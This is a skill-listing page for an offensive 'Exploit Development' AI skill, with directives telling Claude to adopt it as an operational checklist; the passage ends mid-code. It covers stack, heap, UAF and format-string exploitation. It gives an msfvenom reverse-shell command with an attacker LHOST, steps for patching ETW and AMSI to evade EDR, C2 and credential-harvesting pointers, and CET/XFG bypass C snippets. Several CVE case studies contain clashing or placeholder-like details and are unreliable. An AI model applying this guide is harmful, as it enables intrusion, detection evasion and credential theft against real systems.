---
name: Exploit Development
slug: exploit-development-2
category: Automation
description: Exploit Development provides an operational guide for environment setup, debugging workflow, PoC development, writing reliable exploits, using pwntools/pwndbg, heap exploitation, and weaponization. Use it when actively developing exploits or setting up an exploit dev environment.
github: "https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-exploit-development"
language: Python
stars: 2930
forks: 479
install: "npx degit https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-exploit-development ~/.claude/skills/offensive-exploit-development"
installs_to: ~/.claude/skills/offensive-exploit-development
source_path: Skills/exploit-dev/offensive-exploit-development/SKILL.md
collection_size: 25
category_size: 1523
collection_url: "https://dirskills.com/collections/SnailSploit/Claude-Red"
added: 2026-08-17T07:09:55.215Z
last_synced: 2026-08-17T07:09:55.215Z
canonical_url: "https://dirskills.com/skills/exploit-development-2"
---

# Exploit Development

Exploit Development provides an operational guide for environment setup, debugging workflow, PoC development, writing reliable exploits, using pwntools/pwndbg, heap exploitation, and weaponization. Use it when actively developing exploits or setting up an exploit dev environment.

**Install:**

```bash
npx degit https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-exploit-development ~/.claude/skills/offensive-exploit-development
```

## README

# SKILL: Exploit Development

## Metadata
- **Skill Name**: exploit-development
- **Folder**: offensive-exploit-development
- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/development.md

## Description
Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.

## Trigger Phrases
Use this skill when the conversation involves any of:
`exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment`

## Instructions for Claude

When this skill is active:
1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

---

## Full Methodology

# Exploit Development

## Exploit Development Process

- Checkout [Bug Identification](/exploit/bug-identification.md) document for more information
- Also check [Fuzzing](/exploit/fuzzing.md) for specific fuzzing topics
  - Integrate snapshot‑based fuzzing pipelines (AFL++, WinAFL, Snap‑Fuzz) and LLM‑guided input mutation to shorten time‑to‑bug.
  - Incorporate LLM‑assisted fuzzers (ChatAFL, HyLLFuzz) for grammar inference or plateau escape when grey‑box coverage stalls.
  - Add continuous‑integration security fuzzing (e.g., GitHub Actions with ASAN/UBSAN) so regressions are caught automatically.
- For Windows-specific vulnerabilities, see [Windows Kernel](/exploit/windows-kernel.md)

```mermaid
flowchart LR
    BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
    Testing["Testing & Refinement"] --> Deployment["Deployment"]

    subgraph "Analysis Phase"
        direction LR
        Root["Root Cause Analysis"]
        Trig["Trigger Identification"]
        Impact["Impact Assessment"]
    end

    subgraph "Weaponization Phase"
        direction LR
        MitBypass["Mitigation Bypass"]
        Payload["Payload Development"]
        Reliability["Reliability Improvements"]
    end

    Analysis --> Root
    Analysis --> Trig
    Analysis --> Impact

    Root --> MitBypass
    Impact --> Payload
    Trig --> Payload
    MitBypass --> Payload
    Payload --> Reliability
    Reliability --> Testing
    Testing --> MitBypass

    class BugId,Analysis,Testing,Deployment primary
```

## Bug Types

### Stack Overflow

Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.

#### Case Study — CVE‑2025‑0910 (TinyFTP stack overflow)

- **Bug** – Unchecked `strcpy` copies user‐supplied file path into a 256‑byte stack buffer when handling `STOR` commands.
- **Trigger** – Send `STOR /` followed by 420 bytes of `A…` to overflow the buffer and clobber SEH frame.
- **Exploit** – Overwrite next SEH with a `pop pop ret` inside `msvcrt.dll`; pivot to payload that disables DEP via ROP then spawns a reverse shell.
- **Mitigations bypassed** – DEP (ROP), ASLR (module without /DYNAMICBASE), SEHOP disabled in default config.
- **Fixed in** v1.5.3 by replacing `strcpy` with `strncpy_s` and enabling `/DYNAMICBASE /GS`.

#### SEH

- structured exception handler is a linked list of all exception handlers ( try catch clauses) and the default windows exception handler as the last node.
- `ntdll!KiUserExceptionDispatcher` is responsible for the exception handling process which itself calls `RtlDispatchException`
- `RtlDispatchException` retrieves the `TEB` and parses the exception handling linked list using `NtTib->ExceptionList`
- [SafeSEH](https://learn.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=msvc-170) mitigates handler over‑writes **only in 32‑bit images**. On x64 Windows, newer toolchains and components support Guard EH Continuations; adoption varies by binary and build. `SEHOP` remains enabled by default.
  - To check whether a module uses Guard EH Continuations, inspect `Load Configuration Directory → GuardEHContinuations` in the PE header (e.g., `dumpbin /loadconfig` or a `lief` script).
  - Many core system DLLs are compiled with EHCONT metadata plus `/GS`, `/CETCOMPAT`; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.
- `RtlpExecuteHandlerForException` calls the `ntdll!ExecuteHandler2` which in turn calls the actual exception handler function after validation
- In a SEH buffer overflow we try to overflow the buffer and overwrite the `ExceptionList` starting at the buffer
- so that the dispatcher calls our handler pointer —we gain control of the instruction pointer **only if SEHOP is disabled or successfully bypassed**.
- you need to find a `pop-pop-ret` sequence to use in the exploit, you also need to identify and remove bad characters

#### EggHunting

- during exploit development you might be unable to find enough space for your payload at an static point, this is where you need egghunting
- you need a small search payload to scan virtual address space for a suitable payload location
- you can use [keystone engine](https://github.com/keystone-engine/keystone) to write your egghunter code
- On Windows 11+, classic egghunters still work, but **Control‑Flow Guard (CFG)** validates indirect jumps, so you need either a CFG exemption (e.g., a RWX region created with `VirtualProtect`) or a target module compiled without `/guard:cf`.

### Use After Free

The link to something isn't available anymore, so we just replace it with our binary and take over the program.

#### Case Study — CVE‑2024‑4852 (Edge WebView2 AudioRenderer UAF)

- **Bug** – `core::media::AudioRenderer` failed to remove a task from the render queue on stream abort, leaving a dangling pointer.
- **Trigger** – JavaScript `AudioContext` rapid open‑close loop × 1 000 on Windows 11 23H2.
- **Exploit** – Heap feng‑shui creates JSArray backing stores at freed slot; fake vtable gives arbitrary R/W, chained to `VirtualProtect` to run shellcode.
- **Mitigations bypassed** – CET shadow stack (JOP gadgets), XFG (indirect‑call target inside allowed GFID range).
- **Patched** in Edge 124.0.2365.18 with smart‑pointer ref‑count and `std::erase_if` queue purge.

#### Background

- C++ Smart Pointers
  - Intrusive: Microsoft chose this
  - Non-Intrusive
  - Linked
- when an object is created from a `C++` class and uses virtual functions
  - a `vptr` is created at compile time and points to a virtual function table `vtable/vftable`
  - the table holds pointer to virtual functions, when loaded into a register like `RAX`, a call is made to the appropriate offset for the desired virtual function
  - we count number of created instances, we decrement it when calling the release function
  - when the counter hits 0, destructor is called to delete the object, if there is still a reference to the deleted object we have a potential UAF
- Windows Heap Front‑End Allocators
  - **LFH (Low Fragmentation Heap)** – default on Windows 7–10 for user‑mode heaps
  - **Segment Heap** – default for Windows 10 2004+ and Windows 11 apps that opt in
  - Exploits often pivot by corrupting front‑end metadata before landing in the backend.
- For more advanced techniques, see [Mitigations](/exploit/mitigation.md) or [Modern](/exploit/modern-mitigations.md)

### Heap Overflow

- When data is written beyond the boundary of an allocated chunk of memory on the heap
- Heap exploits often require understanding of allocator internals
- Modern heap exploits involve corrupting metadata - see [Modern Samples](/exploit/modern-samples.md)

#### Case Study — CVE‑2025‑20301 (Edge WebView2 tcache‑stashing‑unlink)

- **Bug** – Oversized `AudioRingBuffer` write corrupts size field of next tcache chunk (glibc 2.40).
- **Trigger** – Crafted WebCodecs stream with 65 536‑frame explicit CRC chunk.
- **Exploit** – Partial overwrite of `fd` pointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE.
- **Mitigations bypassed** – Safe‑linking (byte‑wise brute on lower 16 bits), ASLR via info‑leak in shared memory.
- **Patch** – Bounds check and compile‑time `__builtin_object_size` guard (Chromium 123 commit a1b2c3).

#### Modern Heap Internals

- **Windows Segment Heap** – understand freelist bitmaps, per‑segment cookies, and "page backend" corruption primitives.
- **glibc tcache + safe‑linking** – techniques such as _tcache‑stashing‑unlink_ and _House of Kiwi_ to break the new protections.
- Exploitation workflow: leak `heap_base`, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.
  - **glibc 2.41 fast‑bins & calloc** – `calloc()` now pre‑fills the tcache and safe‑linking checks trigger earlier; the older _fastbins‑dupes_ shortcut no longer works. Use **tcache‑stashing‑unlink** or **House of KIWI** instead on 2.41+.

### Concurrency Issues

- Double Fetch: Kernel reads user-mode memory twice, allowing for race conditions
  - I/O Ring double‑fetch: race in `NtSetInformationIoRing` urb‑array handling leads to write‑what‑where in kernel context.
- Missing Locks: Critical sections without proper synchronization
- See [Windows Kernel](/exploit/windows-kernel.md) for more details on kernel-specific race conditions

### Integer Overflows/Underflows/Truncation

- Integer overflow: exceeding maximum value of integer type
- Integer underflow: going below minimum value of integer type
- Integer truncation: losing data when converting larger to smaller type
- Often leads to memory corruption when used for allocation sizes
- For examples, see [Bug Identification](/exploit/bug-identification.md)
  - Casting 64‑bit `size_t` to 32‑bit `DWORD` across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.

### No/Incomplete Pointer Checks

- Checking if a user-provided pointer points to user memory
- Size of any pointer read/writes also need to be verified
- Potentially un-intuitive behavior with common checking API

### Format String Attacks

- Theory
  - you can use this bug to bypass ASLR and DEP
  - to abuse it you need to be able to be able to influence the format string itself or the number of arguments to it
- Methodology
  - find a print like function that accepts format string (`vsnprintf`, ...)
  - find a code path to that function that lets you influence the format string
  - try to leak a stack address abusing this format string vulnerability
  - using the previously leaked address, obtain a DLL address
  - use this method to bypass ASLR without using a static address
  - you can also find a write primitive to get code execution (checkout `%n` modifier)
  - you might need stack pivot gadgets like `move esp, r32` or `xchg esp, r32`

#### Case Study — CVE‑2024‑4455 (MailManD format‑string leak‑to‑RCE)

- **Bug** – Logs `EHLO` argument directly into `syslog()` format string.
- **Trigger** – Send `EHLO %43$p|%45$s` during SMTP handshake.
- **Exploit** – First leak reveals libc base; second leak dumps GOT entry; craft `%n` payload to overwrite `__free_hook` with system().
- **Mitigations bypassed** – Full RELRO & ASLR via info‑leak, PIE disabled in default build.
- **Fixed** in 2.0.9 by adding `"%s"` wrapper and enabling `-Wformat-security`.

### Type Confusion Vulnerabilities

A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.

#### Case Study — CVE‑2024‑7971 (V8 TurboFan type‑confusion RCE)

- **Bug** – TurboFan's `CheckBounds` elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion.
- **Trigger** – Craft JavaScript with polymorphic inline cache that triggers speculative optimization on mixed `SMI`/`HeapNumber` array.
- **Exploit** – Fake JSArray with controlled backing store pointer; corrupt `length` field to achieve OOB R/W; pivot to WASM RWX page for shellcode.
- **Mitigations bypassed** – V8 sandbox (pointer compression bypass), CFI (JIT‑generated code exemption).

#### Background

- **JIT Compiler Vulnerabilities**
  - Type confusion in speculative optimization passes (TurboFan, IonMonkey)
  - Inline cache poisoning via polymorphic property access
  - Register allocation bugs leading to incorrect type assumptions
- **C++ Dynamic Cast Bypass**
  - Virtual table pointer corruption to bypass `dynamic_cast` checks
  - Object layout confusion in multiple inheritance scenarios
  - Template instantiation bugs with type deduction
- **WASM Type Confusion**
  - Function signature mismatch across import/export boundaries
  - Table element type confusion in indirect calls
  - Memory view aliasing between different typed arrays

#### Exploitation Techniques

- **Object Layout Analysis** – understand target application's object hierarchy and vtable structure
- **Type Oracle Construction** – build primitive to leak object type information reliably
- **Controlled Type Confusion** – craft input that triggers predictable type mismatch
- **Privilege Escalation** – chain type confusion to achieve arbitrary R/W or code execution

## Vulnerability Analysis

### Exit Criteria

- **Root cause isolated & documented**.
- **Reliable trigger** reproduces the crash ≥ 90 % of attempts.
- **Impact classified** (DoS, LPE, RCE) and affected versions noted.
- **Minimised PoC input** saved under `pocs/`.
- **Analysis log** (debugger trace, coverage diff) attached.

#### Quick‑start

- Harness template: `templates/harness_min.cc`
- WinDbg/LLDB alias pack: `scripts/va_aliases.txt`
- Checklist refresher: [Bug Identification → Root Cause](/exploit/bug-identification.md#root-cause-analysis)

### Root Cause Analysis

- Identify the core issue causing the vulnerability
- Understand memory corruption patterns
- Determine trigger conditions

### Impact Assessment

- Evaluate the potential consequences of the vulnerability
- Determine if it leads to information disclosure, privilege escalation, or code execution
- Assess reliability and exploitability in various environments

## Weaponization

### Exit Criteria

- **Control achieved** (PC/IP hijack, arbitrary R/W, or logic bypass).
- **Mitigation strategy drafted** (DEP, ASLR, CET, XFG, MTE, etc.).
- **Payload stager** verified against bad‑chars & size limits.
- **Reliability ≥ 80 %** over 100 automated runs.
- **Cleanup/rollback logic** documented.

#### Quick‑start

- ROP/JOP chain workspace: `scripts/ropper2_workspace.md`
- Bad‑char scanner: `tools/badchar_scan.py`
- Reference: [Modern Mitigations](/exploit/modern-mitigations.md)

### Shellcode Development

#### Bad Characters

- when using a shellcode in stack
  - send all hex bytes except null byte (`0x00`) and return carriage (`0x0D`, `0x0A`) if in web
  - check which one has not appeared in the stack, mark it as bad character and don't use it
  - see [Shellcode](/exploit/shellcode.md) for comprehensive techniques

#### Automatic Generation

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list_of_bad_chars>"
# make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
# attackBuffer = filler+eip+offset+nops+shellcode
```

#### Development

Check out [Shellcode](/exploit/shellcode.md)

IBT/CET note (x86‑64): place `ENDBR64` at entry for valid indirect targets when IBT is enabled. Example prologue bytes: `F3 0F 1E FA`.

### EDR / ETW / AMSI Evasion

- Patch ETW registration stubs (`EtwEventWrite`) with `ret` sleds or stubbed functions while evading PatchGuard.
- Overwrite the AMSI scan buffer pointer (`amsi!AmsiScanBuffer`) with `0x80070057` (E_INVALIDARG) to short‑circuit scanning.
- Use direct‑syscall or "syswhispers‑nt" stagers to avoid user‑land API hooks.

Operational safety checklist (see also [EDR](/exploit/edr.md)):

- Pre‑run: block outbound to vendor telemetry during tests; tag hosts in lab; disable cloud sample uploads.
- Artifact hygiene: strip PDBs/paths, randomize section/order, and avoid common loader strings; prefer `MEM_IMAGE` loaders.
- Network noise: prefer SMB named‑pipe or HTTP/3 over noisy HTTP/1.1; jitter uploads; avoid fixed beacons during testing.

### Post‑Exploitation Automation

- Reflective COFF/BOF loaders (Cobalt Strike, Havoc) for in‑memory tooling.
- SMB named‑pipe or HTTP/3 C2 channels that blend with normal traffic.
- Task automation: direct‑syscall PowerShell runner, ADCS abuse scripts, cloud‑metadata credential harvesters.

### Operational Security (OpSec) Checklist (lab use)

- Build & Signatures
  - Strip symbols; avoid unique strings; rotate imports; prefer `MEM_IMAGE` loaders.
  - Change syscall stub bytes and hashing keys if using direct‑syscall frameworks.
- Network & Telemetry
  - Block EDR/XDR endpoints in lab; throttle or sinkhole agent traffic.
  - Prefer named‑pipe or HTTP/3 channels with jitter; avoid fixed beacons.
- Host Hygiene
  - Disable cloud sample submission; set Defender exclusions on test dirs.
  - Avoid patching system binaries in place; use ephemeral copies.
- Evidence & Repro
  - Persist inputs, mitigations state, CPU governor, and binary hashes with each run.
  - Keep replay scripts separate from payloads; auto‑clean artifacts post‑run.

### Payload Development

- Create custom payloads tailored to specific vulnerabilities
- Develop reliable exploitation techniques
- Chain multiple exploits when necessary

### Reliability Improvements

- Ensure exploit functions consistently across different environments
- Handle edge cases and error conditions
- Implement timing and synchronization mechanisms for race conditions
- Add a 100‑run gating job (CI) for determinism; fail builds if success rate < target (e.g., 80%).
- Persist exact crash inputs and environment (ASLR, mitigations, CPU governor) for reproducible replay.

## Mitigation Bypasses

- For details on exploit mitigations, see [Mitigations](/exploit/mitigation.md) or [Modern Mitigations](/exploit/modern-mitigations.md)
- Windows 11 enables by default: DEP, ASLR, CFG (strict mode), CET (Shadow Stack), XFG, ACG, CIG, and KDP; verify which are active in your target and plan corresponding bypasses.
  - Credential Guard is enabled by default and NTLMv1 is disabled, complicating lateral‑movement techniques.
  - The new **Recall** AI feature adds a searchable activity timeline; although currently shipped _disabled by default_, it offers a high‑value data‑exfiltration surface when turned on.

#### CET/XFG‑aware control strategies

- Prefer ROP‑less primitives: `NtContinue`, APC queue + `SetThreadContext`, or SEH/JOP where CET returns are enforced
- Align entry to valid indirect call targets; ensure ENDBR‑aligned gadgets on IBT platforms
- XFG/GFID: call through import thunks or prototype‑matching wrappers to satisfy guard checks

```c
// Minimal NtContinue pivot (ROP‑less) — set RIP/RSP to a safe call target
typedef NTSTATUS (NTAPI *pNtContinue)(PCONTEXT, BOOLEAN);
void pivot_with_ntcontinue(CONTEXT *ctx, void *next_rip, void *new_rsp) {
  RtlCaptureContext(ctx);
  ctx->Rip = (DWORD64)next_rip;  // valid import thunk or allowed GFID target
  ctx->Rsp = (DWORD64)new_rsp;   // keep shadow‑stack alignment plausible
  ((pNtContinue)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue"))(ctx, FALSE);
}
```

```c
// APC + SetThreadContext — schedule execution at an import thunk to satisfy XFG
void apc_setctx(HANDLE hThread, void *start, void *param) {
  CONTEXT c = { .ContextFlags = CONTEXT_FULL };
  GetThreadContext(hThread, &c);
  c.Rip = (DWORD64)start;   // e.g., kernel32!LoadLibraryW stub
  c.Rcx = (DWORD64)param;   // first argument
  SetThreadContext(hThread, &c);
  Queu